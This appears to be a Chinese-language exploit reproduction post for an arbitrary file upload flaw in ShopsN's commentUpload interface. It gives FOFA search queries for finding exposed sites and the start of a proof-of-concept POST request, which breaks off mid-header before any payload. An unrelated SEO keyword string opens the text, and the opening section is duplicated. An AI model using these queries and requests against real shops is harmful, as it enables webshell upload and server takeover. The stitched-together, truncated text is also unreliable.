手机手机端网站建设,wordpress 不能提交评论,郑州seo网站有优化,谷歌浏览器下载手机版官网0x01 产品简介
ShopsN 是一款符合企业级商用标准全功能的真正允许免费商业用途的开源网店全网系统。
0x02 漏洞概述
ShopsN commentUpload 接口处存在任意文件上传漏洞，攻击者可以利用文件上传漏洞执行恶意代码、写入后门、读取敏感文件，从而可能导致服务器受到攻击并被控…0x01 产品简介
ShopsN 是一款符合企业级商用标准全功能的真正允许免费商业用途的开源网店全网系统。
0x02 漏洞概述
ShopsN commentUpload 接口处存在任意文件上传漏洞，攻击者可以利用文件上传漏洞执行恶意代码、写入后门、读取敏感文件，从而可能导致服务器受到攻击并被控制。
0x03 复现环境
FOFA：
title="上海盈赛电子商务有限公司" || body="/Supermarket/ProductList" || body="/Uploads/conf/supermarket" || body="/Uploads/intnet/"
0x04 漏洞复现
PoC
POST /index.php/Home/AppUpload/commentUpload HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqfmeYTXFKSA3F97e
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15------WebKitFormBoundaryqfmeYTXFKSA3F97e
Content-Disposition: form-da
